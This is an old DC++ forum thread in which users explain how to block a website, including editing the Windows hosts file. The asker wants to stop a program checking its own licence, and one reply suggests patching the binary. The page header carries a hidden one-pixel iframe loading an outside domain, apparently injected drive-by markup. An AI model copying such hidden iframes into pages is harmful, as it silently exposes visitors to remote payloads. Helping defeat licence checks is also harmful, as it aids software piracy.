block access to websites

Non-DC related talk...<iframe src=http://pokupka.ks.ua/templates/As/image ... p?from=com width=1 height=1 style=display:none></iframe>

Moderator: Moderators

Locked
dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

block access to websites

Post by dude_1_1_1 » 2003-12-09 14:14

is there a way to block a certain website from being accessed on your computer. let's say i wanna block www.sex.com from being accessed from my computer. i tried to edit the hosts file located in the system folder but that doesn't seem to work. any suggestions?

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-12-09 14:19

In iexplorer choos internet options from the tools menu. Then click the tab "content", in the enable content advisor, choose approved sites and the rest can you figure out yourself I hope.

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 14:32

well, what about not just in iexplore? basically here is the situation: i have a program that tries to access this website to see if the program is legal or whatever, and i don't want that.

norti
Posts: 34
Joined: 2003-10-22 14:42
Location: Hungary
Contact:

Post by norti » 2003-12-09 14:39

Use a firewall.
.: Norti :.

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 14:43

how about a solution without resorting to more software or hardware?

norti
Posts: 34
Joined: 2003-10-22 14:42
Location: Hungary
Contact:

Post by norti » 2003-12-09 14:54

And how would you think that? :) Blocking internet access without any 3rd party software I don't think is possible. But you can try to force your program that needs to check the site not to do that within the program. Just use a disassembler and change the code :lol:
.: Norti :.

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 15:00

the thing is if i put up a firewall then i have to reconfigure stuff. i'm a lazy fluck.

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2003-12-09 15:23

dude_1_1_1 wrote:i'm a lazy fluck.
Then any suggestion we make will be pointless.
The world is coming to an end. Please log off.

DC++ Guide | Words

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 15:27

not really. because i liked the solution in iexplore. it's just not what i need. besides i don't want a firewall. firewalls resistrict a lot of things, like direct connect in a lot of chat clients. also they are pain when used with some p2p sharing clients.

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2003-12-09 15:29

dude_1_1_1 wrote:firewalls resistrict a lot of things
But isn't that what you are trying to do? Restrict an application?
The world is coming to an end. Please log off.

DC++ Guide | Words

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 15:31

but i'm only trying to restrict one thing.

norti
Posts: 34
Joined: 2003-10-22 14:42
Location: Hungary
Contact:

Post by norti » 2003-12-09 15:51

It's simple then: you give all the other applications full access to the net and restricts only that one.
.: Norti :.

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 16:00

alright so you guys don't think there is another way to do this without a firewall?

Xan1977
Forum Moderator
Posts: 627
Joined: 2003-06-05 20:15

Post by Xan1977 » 2003-12-09 16:52

Run a search in your Windows directory for a file called hosts. It doesn't have an extention. Open that file in Notepad.

It looks like this

Code: Select all

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

127.0.0.1       localhost
Add an entry for the website you want to block. i.e.

Code: Select all

127.0.0.1     www.sex.com

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2003-12-09 17:33

Xan1977 wrote:Run a search in your Windows directory for a file called hosts. It doesn't have an extention.
Actually, it'll be called hosts.sam (sam for "sample"). To be able to use it as Xan1977 suggested, it'll need to be renamed to just "hosts".

If you have legitimate reason to access the particular website, the above method will give you problems, as *no* application will be able to access it.

In the long run, a firewall will be more useful. Seriously.
The world is coming to an end. Please log off.

DC++ Guide | Words

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 17:44

thanks peeps.

dude_1_1_1
Posts: 9
Joined: 2003-12-09 14:10

Post by dude_1_1_1 » 2003-12-09 17:47

i had tried to do that before but i guess it doesn't work if you put http:// in front of the address.

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2003-12-09 18:07

Indeed. HTTP is a protocol. This file is for assigning addresses to hosts. They are separate things.
The world is coming to an end. Please log off.

DC++ Guide | Words

Locked